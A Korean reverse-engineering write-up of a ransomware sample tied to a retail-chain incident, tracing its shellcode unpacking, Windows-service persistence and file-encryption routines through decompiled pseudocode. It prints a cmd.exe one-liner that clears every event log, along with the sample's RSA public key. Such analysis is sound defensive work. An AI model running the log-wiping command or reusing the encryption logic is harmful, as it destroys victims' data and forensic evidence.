0. 목차
1. 악성코드 개요
1.1) 개요
11월 22일 E사의 오프라인 점포 23곳이 랜섬웨어 감염으로 긴급 휴점에 돌입했다. 유포경로에 대한 정보는 아직 밝혀진게 없으며 최근에 발생한 이슈임에 따라, 랜섬웨어의 동작과정을 자세하게 분석해볼 것이다
1.2) 분석 정보
Default view
Search
Default view
Search
2. 상세분석
2.1) 행위 분석
악성코드는 실제 Window Service 형태로 등록되어 동작한다
악성코드가 실행되면 내부에서 WinCheckDRVs 라는 이름의 서비스를 등록한뒤 해당 서비스를 실행시킨다. 서비스가 정상적으로 동작되면 몇초 후 암호화된 파일들과 키파일 그리고 랜섬노트가 생성된다. 윈도우 Service로 등록되었기 때문에 백그라운드에서 지속적으로 파일들을 암호화한다
•
test.txt ⇒ 암호화된 파일
•
test.txt.Cllp ⇒ 키파일
•
README_README.txt ⇒ 랜섬노트
암호화 되기 전 test.txt
감염되어 암호화된 test.txt
2.2) 쉘코드 추출
•
WinMain()
메인함수 초반부분을 보면 여러 동작을 하는데 별 의미없는 로직이 많다. 또한 위 그림과 같이 50만번 루프를 도는 로직을 볼 수 가 있는데 이 역시 의미없는 로직이다. 단지 분석가들의 분석 시간을 딜레이 시키는 역할로 보면 된다.
추가로 분서 시스템 내에서 초기 몇십만개의 명령문을 먼저 테스트하고 해당 바이너리가 악성행위를 하는지 안하는지 확인하는 경우도 있다고 한다. 이런경우 위 더미 루프를 이용하여 우회하려는 목적 중 하나이기도 하다. 실제 의미있는 동작은 아래의 함수부터 시작된다
•
sub_401000()
VirtualAlloc 을 이용하여 메모리 영역을 할당받고 해당 영역을 함수포인터형태로 저장함으로 보아 해당 영역에 쉘코드를 담을것으로 추론된다. 또한 &unk_40933C 주소를 저장한다. 해당 영역에는 다음과 같은 값이 저장되어 있다
unk_40933c 주소를 저장하고 for문을 돌면서 할당받은 memory 영역에 특정 연산을 거친 값이 저장되는데 이는 .data 영역에 들어있는 값을 0x4559와 xor 등의 연산을 통해 계산된 결과 값이다.
이렇게 루프를 총 0x564만큼 돌면서 4바이트씩 인코드되어있던 쉘코드를 디코딩후 저장한다. 그다음 GetModuleHandleW() 함수를 호출하여 kernel32 dll의 핸들을 받아온다.
이제 얻어온 kernel32의 핸들값을 인자로하여 디코딩된 쉘코드를 호출한다. 디코딩된 쉘코드를 동적으로 디버깅하여 뽑아보자
0x240000 영역의 주소가 VirtualAlloc으로 할당받은 영역이고 해당 영역에 0x564*4 만큼의 디코딩된 쉘코드가 써졌다. 따라서 0x240000 ~ 0x240000+0x564*4 만큼을 덤프하면 shellcode를 추출할 수 있다.
2.3) 쉘코드 복호화
추출한 쉘코드를 IDA로 확인해보면 이 역시 함수가 몇 개없는 것으로 보아 또 뭐가 되있는것 같다. 확인해보면 여러 API 문자열을 변수에 저장을 한다음 al(hkernel32 핸들), v11(GeProcAddress)를 인자로 하여 sub_1110() 함수를 호출한다. 해당 함수는 다음과 같은 기능을 한다
sub_1110() ← *토글 선택*
결국 result에는 GetProcAddress 함수의 주소가 담기고 GetPorcAddress() 를 이용하여 사용하려는 api 들의 주소값들은 구한다. (v24,v18,v17 ...)
VirtualAlloc, VirtualFree, VirtualProtect, TerminateThread, LoadLibrayA 함수들의 주소를 정상적으로 구했다면 VirtualQuery() 를 호출한다.
VirtualQuery() 함수란?
프로세스의 주소 공간 내의 특정 메모리에 대해 다양한 정보와 크기, 저장소의 형태 , 권한 같은 리소스를 얻을 수 있다.
retaddr 는 맨처음 악성코드에서 call shellcode() 의 호출이 끝나고 수행될 주소가 담겨져 있다. 즉 맨처음 악성코드명을 sample이라고 했을때 sample 바이너리가 매핑된 주소공간 페이지의 정보가lpBuffer에 담긴다.
lpBuffer는 구조체 변수로 다음과 같은 필드로 구성된다
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
WORD PartitionId;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
Bash
복사
lpBuffer[1] 값을 baseAddr변수에 저장한다. 해당 영역은 sample.exe의 ImageBase 주소이다.
eax = sample.exe's Imagebase
그다음 del_flag 가 참이면 어떤 함수를 호출한다. 이때의 del_flag 는 sample.exe 에서
'call shellcode(arg1,arg2)' 명령어의 두번째 인자이다. 사실 현재 call shellcode는
두번째 인자가 0이여서 조건문에 만족하진 않는다. 하지만 어떤 함수인지 한번 살펴보자.
sub_8C0() ← *토글 선택*
요약하자면 위 함수는 자가 삭제 배치파일을 만들어 흔적을 지우는것 같다. 계속 이어나가보자
VirtualAlloc 으로 각각 0x19D48, 0x20200 만큼의 메모리를 할당한다. 각각의 사이즈는 sample.exe에서 call shellcode 에서 넘어온 인자이다.
call shellcode 부분을 다시 살펴보면
hkernel32 = (int)GetModuleHandleW(L"kernel32");// args[0]
.....
dword_425994 = (int)&unk_40A8D0; // args[1]
....
dword_425998 = 105800; // args[2]
....
dword_42599C = dword_40A8CC; // args[3]
....
dword_4259A0 = dword_424618; // args[4]
....
shellcode(&hkernel32, 0);
즉 hkernel32주소가 shellcode()의 인자로 호출되고 VirtualAlloc으로 사용되는 인자는 위와 같다
메모리를 할당받은 다음, args[2] 사이즈인 0x19D48만큼 루프를 돌면서 할당받은 v27배열에 특정연산을 거친 값을 넣는다. args[1]은 초기 sample.exe에서 디코딩하기 전 인코딩된 쉘코드 부분이다. 루프가 끝나면 v27에는 새롭게 연산된 쉘코드가 쌓일것이다
그다음 다시 for문을 돌면서 while루프의 결과로 씌여진 v23 배열에 특정연산을 한번더 거친다. 그 후 v23과 아까 0x20200 사이즈로 할당받은 v27영역을 인자로하여 sub_1270 함수를 호출한다. 해당 함수의 반환값이 참이면 조건문 안의 로직이 수행된다. 해당 함수가 어떤기능을 하는지 살펴보자.
sub_1270 ← *토글 선택*
결국 위 함수도 어떤 압축된 쉘코드를 추출하를 기능이므로 우리가 궁금한건 v27에 담긴 값이다.
0x5E0000+0x20200 만큼의 영역에 압축해제된 쉘코드가 담기므로 위 영역을 덤프떠보자
덤프뜬 쉘코드를 디컴파일러로 확인해보면 이전과는 다르게 많은 함수들이 나오는걸 볼 수 있다. 해당 쉘코드가 실제 악성행위를 하는 바이너리이다. 이렇게 덤프를 뜬 쉘코드가 실제 악성행위를 한다는것을 확인했으므로 해당 쉘코드가 어떻게 호출되는지를 이어서 살펴보자.
if ( sub_1270(v22, decompress_shellcode) ) // decompress success!!
{
VirtualFree(v22, 0, 0x8000);
v11 = &decompress_shellcode[*((_DWORD *)decompress_shellcode + 0xF)];
if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )
{
memset(baseAddr, 0, *((_DWORD *)v11 + 0x14));// memset(0x400000,0,27000)
overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));
// sample <- decomp_shell~+0x400
v11 = (char *)baseAddr + *((_DWORD *)decompress_shellcode + 0xF);// v11=0x4000f8
v9 = &v11[*((unsigned __int16 *)v11 + 0xA) + 0x18];// v9 = .text 영역
// 즉 decompress된 쉘코드를 sample로 덮은다음 sample의 .text 주소임
for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복
// sub_FA0(0x401000+0x10000*i,decom_shel+0x400+0xFC00*i,0xfc00)
overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);
if ( *((void **)v11 + 13) != baseAddr )
sub_670((int)baseAddr, (int)baseAddr - *((_DWORD *)v11 + 13));
import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);
for ( k = NtCurrentTeb()->NtTib.ExceptionList; LOBYTE(k->Next) != 0xFF; k = k->Next )
;
v20 = (int (*)(void))((char *)baseAddr + *((_DWORD *)v11 + 10));
sub_860((int)baseAddr, (int)v20);
v18 = v20(); // v20() -> 43..c2c() 가 결국 winmain
TerminateThread(-2, v18);
}
}
C
복사
중요 부분만 형광표시를 해놨다. 요놈들 위주로 살펴보자
•
메모리 권한 변경
if ( VirtualProtect(baseAddr, *((_DWORD *)v11 + 0x14), 0x40, v30) )
C
복사
baseAddr은 현재 sample 의 ImageBase 주소를 가리키고 있다. VitualProtect 함수를 통해 sample 바이너리의 메모리 권한을 EWX로 변경한다.
VirtualProtect 호출 전
VirtualProtect 호출 후
이를 통해 메모리 상에 올라와있는 원본 바이너리에 추출한 쉘코드를 overwrite할 것으로 보인다
•
sample + 0x400 영역을 overwrite
overwrite_sample_to_decomp_shell((char *)baseAddr,decompress_shellcode, *((_DWORD *)v11 + 21));
C
복사
baseAddr(0x40000) + 0x400 에는 .text 영역의 주소이다. 따라서 .text 영역 이전의 pe 정보들을 덮는다는걸 알 수 있다
•
overwrite 7 sections → sample
for ( j = 0; j < *((unsigned __int16 *)v11 + 3); ++j )// 7회반복
overwrite_sample_to_decomp_shell((char *)baseAddr + *(_DWORD *)&v9[40 * j + 12],&decompress_shellcode[*(_DWORD *)&v9[40 * j + 20]], *(_DWORD *)&v9[40 * j + 16]);
C
복사
추출한 쉘코드의 각 섹션데이터를 samplme로 overwrite한다.
추출한 쉘코드의 PE 구조
•
sample IAT 복구
import_func((char *)baseAddr, LoadLibraryA, (int (__stdcall *)(int, int))GetprocAddress_);
C
복사
해당 함수내부에서는 필요한 DLL, API 를 구하여 overwrite한 sample의 IAT를 복구한다. 즉 기존 sample을 덮었으므로 기존 IAT는 망가졌기 때문에 이를 복구하는것 이다.
•
실제 추출한 쉘코드 호출
v18 = v20(); // v20() -> 43..c2c() 가 결국 winmain
C
복사
이제 overwrite한 sample로 뛰게된다. 해당영역은 기존의 영역이 아닌 추출된 쉘코드 값이 담겨있다.
0x403CA3 으로 이동하게 되고 해당 영역은
char *start()
{
__security_init_cookie();
return __scrt_common_main_seh();
}
C
복사
추출한 쉘코드의 start() 영역이다. 초기 세팅 후 WinMain으로 이동하게 된다
2.4) 악성행위 분석
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
...생략...
if ( GetACP() )
{
ServiceStartTable.lpServiceName = L"WinCheckDRVs";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_411B40;
v33 = 0;
v34 = 0;
if ( !StartServiceCtrlDispatcherW(&ServiceStartTable) )
TerminateProcess((HANDLE)0xFFFFFFFF, 0);
}
v18(0xFFFFFFFF);
TerminateProcess((HANDLE)0xFFFFFFFF, 0);
return 0;
}
C
복사
초기 WinCheckDRVs 이름의 서비스명을 등록하고 StartServiceCtrlDispatcherW 함수를 호출하여 등록한 sub_411B40 핸들러가 수행된다. 윈도우 서비스 동작과정은 아래와 같다
StartServiceCtrlDispatcherW 함수가 호출되고 서비스 컨트롤러에서 이를 받아 처리한다. 그다음 SCM을 통해 등록한 서비스 메인 핸들러가 실제 호출되고 여기서 실 동작이 일어난다. 해당 악성코드에서는 SvcMain()이 sub_411B40 이다.
참고로 윈도우 서비스를 디버깅하기위해선 일련의 작업이 필요하다
SERVICE_STATUS_HANDLE __stdcall sub_411B40(int a1, int a2)
{
SERVICE_STATUS_HANDLE result; // eax
HANDLE v3; // eax
result = RegisterServiceCtrlHandlerW(L"WinCheckDRVs", HandlerProc);
hServiceStatus = result;
if ( result )
{
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwServiceType = 16;
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 2;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(result, &ServiceStatus);
hHandle = CreateEventW(0, 1, 0, 0);
if ( hHandle )
{
ServiceStatus.dwControlsAccepted = 1;
ServiceStatus.dwCurrentState = 4;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(hServiceStatus, &ServiceStatus);
v3 = CreateThread(0, 0, sub_411CB0, 0, 0, 0);
WaitForSingleObject(v3, 0xFFFFFFFF);
CloseHandle(hHandle);
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 1;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 3;
}
else
{
ServiceStatus.dwControlsAccepted = 0;
ServiceStatus.dwCurrentState = 1;
ServiceStatus.dwWin32ExitCode = GetLastError();
ServiceStatus.dwCheckPoint = 1;
}
result = (SERVICE_STATUS_HANDLE)SetServiceStatus(hServiceStatus, &ServiceStatus);
}
return result;
}
C
복사
정리하면 다음과 같다
1.
WinMain에서 SCM에 서비스를 등록한다 - StartServiceCtrlDispatcherW
2.
SCM의 제어를 처리할 핸들러를 등록한다 - RegisterServiceCtrlHandlerW
3.
SCM에 작업이 시작됨을 알린다 - SetServiceStatus
윈도우 서비스로 동작할 일련의 위 과정을 거친 뒤 쓰레드를 생성하여 핸들러 함수(sub_411CB0)가 수행된다
주요함수1) sub_411CB0()
DWORD __stdcall sub_411CB0(LPVOID lpThreadParameter)
{
...
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
do
{
v2 = CreateMutexW(0, 0, L"GKLJHWRnjktn32uyhrjn23io#666");
if ( WaitForSingleObject(v2, 0) )
{
v1(v2);
ExitProcess(0);
}
if ( GetACP() )
{
v3 = GlobalAlloc(0x40u, 0x104u);
v4 = GlobalAlloc(0x40u, 0x104u);
v5 = sub_411160(L"EXPLORER.EXE");
sub_411240(v5, (int)v3, (int)v4);
sub_4116B0(v3);
ShellExecuteA(
0,
"open",
"cmd.exe",
"/C for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"",
0,
0);
}
.....
C
복사
•
CreateMutexW,WaitForSingleObject : 중복실행 방지를 위한 뮤텍스 생성
sub_41160("EXPLORER.EXE") : explorer.exe 프로세스 ID값 획득
sub_411240(v5,v3) : 사용자 계정명 획득
sub_4116B0(v3) : winsta0\default에 “runrun”을 파라미터로, 서비스 하위 응용프로그램 생성
•
ShellExecuteA : 이벤트 로그 삭제
...
lpParameter = GlobalAlloc(0x40u, 8u);
for ( i = 0; i < 26; ++i )
{
wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
v6 = GetDriveTypeW(RootPathName);
*lpParameter = 0i64;
memmove_0(lpParameter, RootPathName, 8u);
if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
{
v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
Sleep(0x3E8u);
v11 = v7;
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
CloseHandle(v11);
}
else
{
v1 = (void (__stdcall *)(HANDLE))CloseHandle;
}
Sleep(0x64u);
}
Sleep(0x1388u);
v8 = CreateThread(0, 0, sub_411000, 0, 0, 0);
v1(v8);
Sleep(0xEA60u);
v9 = CreateThread(0, 0, sub_412000, 0, 0, 0);
v1(v9);
Sleep(0xFFFFFFFF);
}
}
C
복사
•
A: ~ Z: 까지 폴더를 순위하면서 v6에 각 드라이브의 타입을 반환한다 - GetDriveTypeW
•
DRIVE_FIXED, DRIVE_REMOVABLE 타입이면 해당 드라이브르의 path를 인자로 쓰레드를 생성한다 → sub_411E70()
◦
DRIVE_FIXED : 주로 사용하는 C:나 D: 같은 고정 하드디스크 타입
◦
DRIVE_REMOVABLE : 제거 가능한 드라이브(ex. USB)
◦
즉 위 두개의 타입에 해당하는 모든 드라이브를 순회하며 암호화를 시도한다
•
CreateThread(0, 0, sub_411000, 0, 0, 0) : 네트워크 공유 드라이브 암호화 시도
•
CreateThread(0, 0, sub_412000, 0, 0, 0) : C 드라이브 암호화 시도
주요함수 2) sub_411E70()
DWORD __stdcall sub_411E70(LPVOID lpThreadParameter)
{
...
lstrcpyW(String1, (LPCWSTR)lpThreadParameter);
Sleep(0x3E8u);
v1 = lstrlenA(Src);
memmove(pszString, Src, v1);
pcbBinary = 2048;
if ( CryptStringToBinaryA(pszString, 0, 0, pbBinary, &pcbBinary, 0, 0) )
{
if ( CryptDecodeObjectEx(1u, (LPCSTR)8, pbBinary, pcbBinary, 0x8000u, 0, &pvStructInfo, &pcbStructInfo) )
{
phProv = 0;
if ( CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000) )
{
phKey = 0;
if ( CryptImportPublicKeyInfo(phProv, 1u, pvStructInfo, &phKey) )
{
Sleep(0x3E8u);
while ( 1 )
{
sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 1, (int)pvStructInfo, phProv, phKey);
Sleep(0x7530u);
sub_401BD0(String1, (int)L"*.*", (int)Src, 10, 1, 0, (int)pvStructInfo, phProv, phKey);
Sleep(0x7530u);
}
}
}
}
}
return 0;
}
C
복사
우선 초기 Src 변수에 담긴 문자열의 사이즈를 저장하고, pszString 변수에 복사한다. 이 값은 아래와 같다
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCecUuskA+/EYRGu9HUFkpICAgJ e3MeraGTOS8wa6lZfirCt0oRPARUcF1aNVupKfLeqc02BX+MAn3n15EJpoe1SRya iESj5Z+dJl2WBFaYoV/SBg5EQWganz32HN3dhH037t3vrDP7jsQa2lziD32hLd3y SEktD4Gmz87O+0blTQIDAQAB
-----END PUBLIC KEY-----
C
복사
문자열로 보아 RSA Public key로 추론된다. 그다음 pubkey를 인자로하여 아래의 함수들을 호출한다
CryptStringToBinaryA : 포맷된 문자열을 바이트 배열로 변환한다.
CryptDecodeObjectEx : 변환한 pubkey 배열을 구조체 변수로 디코딩
CryptAcquireContextW : 특정 CSP 안에서 현재 사용자의 키 컨테이너 핸들값을 가져옴
CryptImportPublicKeyInfo : pubkey에 대한 핸들값 획득
그다음 이제 루프를 돌면서 sub_401BD0() 함수를 호출한다. 인자에 주목하자
주요함수 3) sub_401BD0()
void *__cdecl sub_401BD0(LPCWSTR path, char *file, int pubkey, int a4, int a5, int a6, int a7, int a8, int a9)
{
SetErrorMode(1u);
memset(String1, 0, 0x410u);
memset(v31, 0, 0x410u);
memset(v33, 0, 0x410u);
lstrcpyW(String1, path);
lstrcatW(String1, L"\\");
lstrcpyW(v33, String1);
lstrcatW(String1, (LPCWSTR)file);
strcmp_ = lstrcmpW;
hFindFile = FindFirstFileW(String1, &FindFileData);
if ( !hFindFile
|| sub_401000(path) // 디렉토리 해싱 비교
|| sub_402B80((int)v33, (char *)L"\\Desktop")
|| sub_402B80((int)v33, (char *)L"\\DESKTOP") )
{
v14 = a5;
lstrcpyW(String1, drive_name);
goto LABEL_42;
}
...생략
}
C
복사
String1에는 인자로 넘어온 드라이브 명과 그 드라이브 하위에 들어있는 모든 파일 및 폴더의 경로가 담긴다
String1 ⇒ ex) C:\*.*
•
FindFirstFileW : String1에 담긴 path의 첫번째 파일 및 폴더를 찾고 핸들 반환
sub_401000(drive_name) : 인자로 넘어온 drive_name 즉 디렉토리 명과 일치하는 해시값 검색. 존재한다면 암호화 하지 않음
•
sub_402B80 : 두번째 인자로 넘어온 파일 및 폴더 명과 일치하는 해시값 검색. 존재하면 암호화 하지 않음. 즉 \Desktop 폴더는 암호화 하지 않음
즉 특정 디렉토리와 Desktop 디렉토리를 해싱 비교하여, 하나라도 참인 결과가 나오면 드라이브 명을 String1에 다시 복사한뒤 LABEL_42로 이동한다.
...
LABEL_42:
lstrcatW(String1, L"\\*.*");
result = FindFirstFileW(String1, &FindFileData);
v25 = result;
if ( result )
{
result = (void *)sub_401000(path);
if ( !result )
{
result = sub_402B80((int)v33, (char *)L"\\Desktop");
if ( !result )
{
result = sub_402B80((int)v33, (char *)L"\\DESKTOP");
if ( !result )
{
if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0//디렉토리면
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".") )
{
lstrcpyW(file_path, path);
lstrcatW(file_path, L"\\");
lstrcatW(file_path, FindFileData.cFileName);
sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
// ex) file_path => C:\$Recycle.Bin
}
while ( FindNextFileW(v25, &FindFileData) )
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0
&& strcmp_(FindFileData.cFileName, L"..") )
{
if ( strcmp_(FindFileData.cFileName, L".") )
{
lstrcpyW(file_path, path);
lstrcatW(file_path, L"\\");
lstrcatW(file_path, FindFileData.cFileName);
sub_401BD0(file_path, file, pubkey, a4, v14, a6, a7, a8, a9);
}
}
}
result = (void *)FindClose(v25);
}
}
}
}
return result;
C
복사
LABEL_42 에서 다시 디렉토리 명으로 해싱 비교를 하고 Desktop 폴더인지 체크를 한다. 그다음 현재 FindFirstFileW 함수로 얻은 핸들값을 통해 디렉토리 첫 파일이 파일인지 폴더인지 비교를 하고, 폴더면 조건문 안으로 들어온다
ex) file_path ⇒ C:\$Recycle.Bin
선택된 폴더가 '. or .. ' 이 아니면 file_path를 다시 첫번째 인자로 하여 재귀를 한다.
정리를 하면 루트 path 부터 하위 폴더를 탐색하여 특정 폴더들은 암호화 루틴에서 제외한다. 흐름은 다음과 같다
1.
드라이브 명 예를 들어 C: 를 첫 인자로 하여 sub_401BD0 함수가 처음 호출된다
2.
컴퓨터가 내부적으로 동작하는데 필요한 폴더 path를 해시비교하여 암호화 루틴에서 제외한다
•
sub_402B80 : 현재의 파일 핸들값이 두번째 인자로 들어온 문자열과 동일하면 해당 파일 및 폴더도 암호화 루틴에서 제외한다
3.
폴더면 재귀를 돌면서 계속 1-2를 반복한다
다시 위로 올라가서 초기 조건문을 만족하지 않는 루틴을 확인해보자
...
{
v14 = a5;
lstrcpyW(String1, path);
goto LABEL_42;
}
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
&& lstrcmpW(FindFileData.cFileName, L"..")
&& lstrcmpW(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
//
&& !sub_4012D0(FindFileData.cFileName) // 아깐 디렉토리 여긴 파일해싱비교
&& !sub_403280(FindFileData.cFileName) ) // 확장자 체크
{
...
}
v14 = a5;
v18 = path;
v27 = a5;
LABEL_22:
while ( FindNextFileW(hFindFile, &FindFileData) ) // 다음 파일 검사
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)
&& !sub_4012D0(FindFileData.cFileName)
&& !sub_403280(FindFileData.cFileName) )
{
....
C
복사
만약 초기에 Desktop 디렉토리도 아니고, 특정 해싱된 값과 일치하는 파일 및 폴더가 아니면 위 코드 루틴으로 오게 된다. 조건문에 만족하려면 아래의 조건을 만족해야한다
ex) file path ⇒ C:\bootmgr (파일임)
•
현재 file path가 디렉토리가 아니라 파일이고 파일명이 ' . or .. ' 아닐때
sub_402B80() : 랜섬노트 파일명과 동일하지 않아야함
•
sub_4012D0 : 현재 파일 명과 동일한 해시값이 없어야함
sub_403280 : 확장자 체크. 특정 확장자는 역시 암호화 루틴에서 제외
만약 위 조건에 하나라도 만족하지 못하는 파일이라면 while문으로 빠지게 되고 다시 FindNextFileW 함수를 이용하여 계속 다른 파일을 검사한다. 이번엔 조건에 만족하는 루틴을 확인해보자
...
hFindFile = FindFirstFileW(String1, &FindFileData);
...
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0// 디렉토리가 아니면
&& lstrcmpW(FindFileData.cFileName, L"..")
&& lstrcmpW(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)// readme.txt
//
&& !sub_4012D0(FindFileData.cFileName) // 아깐 디렉토리 여긴 파일해싱비교
&& !sub_403280(FindFileData.cFileName) ) // 확장자 체크
{
wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
SetFileAttributesW(FileName, 0x80u);
if ( sub_4039C0(FileName) ) // 파일이 존재하는지 체크
{
if ( a6 == 1 )
{
wsprintfW(String2, L"\\\\?\\%s", v33);
size_high = FindFileData.nFileSizeHigh;
size_low = FindFileData.nFileSizeLow;
v12 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
lstrcpyA(v12->pubkey, (LPCSTR)pubkey); // 얜 그냥 공개키 -> 문자열
lstrcpyW(v12->filename, FindFileData.cFileName);
lstrcpyW(v12->dir_path, String2);
v12->pki = pvstructinfo;
v12->hProv = phProv;
v12->hKey = phKey; // 이놈이 실제로 바이너리로 변환된 공개키정보 가지고 있음
LODWORD(v12->file_size) = size_low;
HIDWORD(v12->file_size) = size_high;
GlobalLock(v12);
v13 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v12, 0, 0);
}
...
while ( FindNextFileW(hFindFile, &FindFileData) )
{
if ( (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
&& strcmp_(FindFileData.cFileName, L"..")
&& strcmp_(FindFileData.cFileName, L".")
&& !sub_402B80((int)FindFileData.cFileName, (char *)String)
&& !sub_4012D0(FindFileData.cFileName)
&& !sub_403280(FindFileData.cFileName) )
{
wsprintfW(FileName, L"%s%s", v33, FindFileData.cFileName);
SetFileAttributesW(FileName, FILE_ATTRIBUTE_NORMAL);
if ( sub_4039C0(FileName) ) // 파일이 존재하면
{
v19 = FindFileData.nFileSizeHigh;
v20 = FindFileData.nFileSizeLow;
if ( a6 == 1 )
wsprintfW(String2, L"\\\\?\\%s", v33);
else
wsprintfW(String2, L"\\\\?\\%s", v33);
v21 = (thread_args *)GlobalAlloc(0x40u, 0x760u);
lstrcpyA(v21->pubkey, (LPCSTR)pubkey);
lstrcpyW(v21->filename, FindFileData.cFileName);
lstrcpyW(v21->dir_path, String2);
LODWORD(v21->file_size) = v20;
HIDWORD(v21->file_size) = v19;
v21->pki = pvstructinfo;
v21->hProv = phProv;
v21->hKey = phKey;
GlobalLock(v21);
v22 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)encrypted_thread, v21, 0, 0);
....
C
복사
첫번째 파일을 우선 검사한다. sub_4039C0 함수를 통해 현재 체킹하는 파일이 존재하면 인자로 넘어왔던 중요 값들은 구조체에 담아 쓰레드를 생성하고, 해당 쓰레드에서 실제 암호화가 수행된다.
그다음 루프를 돌면서 다음 파일도 검사하여 조건에 맞으면 쓰레드를 생성하여 암호화를 수행한다
여기까지의 과정을 정리하면 다음과 같다
모든 폴더(A-Z)를 탐색하면서 특정 폴더 및 파일과 특정 확장자들을 제외하곤 전부 암호화를 시도한다.
Default view
Search
Default view
Search
주요함수 4) encrypted_thread
void __stdcall __noreturn encrypted_thread(thread_args *args)
{
...
memset(String1, 0, 0x410u);
lstrcpyW(String1, args->dir_path);
lstrcatW(String1, args->filename);
wsprintfW(FileName, L"%s%s.Cllp", v1->dir_path, v1->filename);
if ( sub_4039C0(FileName) )
goto LABEL_34;
v2 = args;
if ( args->file_size <= 0x4268 )
goto LABEL_34;
v3 = CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0);
v4 = (void (__stdcall *)(HANDLE))CloseHandle;
v5 = v3;
hFile = v3;
if ( v3 != (HANDLE)-1 )
{
if ( args->file_size > 0x2089D0 )
{
... // 암호화 루틴
}
else
{
... // 암호화 루틴
}
v5 = hFile;
}
...
LABEL_34:
if ( v1 )
{
GlobalUnlock(v1);
GlobalFree(v1);
}
ExitThread(0);
}
C
복사
타겟이 되는 파일의 path와 파일명을 String1에 담고 타겟 파일명.Cllp 을 FileName에 저장한다.
sub_4039C0(FileName) : FileName 명으로 파일 생성
•
타겟 파일 사이즈가 0x4268보다 같거나 작으면 암호화 하지 않는다
•
CreateFileW(String1, 0xC0000000, 0, 0, 3u, 0, 0) : 타겟이 되는 파일 open
•
타겟이 되는 파일의 사이즈가 0x2089D0 크면 암호화
•
타겟이 되는 파일의 사이즈가 0x4268보다 크고 0x2089D0 보다 같거나 작으면 암호화
파일의 사이즈에 따라서 암호화 루틴이 달라진다. 우선 0x2089D0 보다 큰 사이즈의 루틴을 확인해보자
1) File Size > 0x2089D0
...
if ( args->file_size > 0x2089D0 )
{
v16 = CreateFileMappingW(v3, 0, 4u, 0, 0x2089D0u, 0);
NumberOfBytesRead = (DWORD)v16;
if ( !v16 )
goto LABEL_31;
lpBuffer = MapViewOfFile(v16, 6u, 0, 0x10000u, 0x1F89D0u);
if ( !lpBuffer )
goto LABEL_31;
v17 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
v18 = v17;
if ( v17 )
{
memset(v17, 0, 0x75u);
for ( i = 0; i < 117; ++i )
v18[i] = sbox[sub_402B40(0, 256)];
if ( !*v18 && !v18[1] && !v18[2] && !v18[3] && !v18[5] )
{
qmemcpy(v18, &unk_41B000, 0x75u);
v2 = v33;
}
nNumberOfBytesToRead = 0;
v20 = CreateFileW(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v20, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
&& (nNumberOfBytesToWrite = 0,
v21 = (BYTE *)VirtualAlloc(0, 0x87u, 0x3000u, 4u),
v24 = v2->hKey,
v28 = (DWORD)v21,
sub_401420(v18, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v24, v21),
WriteFile(v20, (LPCVOID)v28, nNumberOfBytesToWrite, &nNumberOfBytesToRead, 0))
&& v28 )
{
v22 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
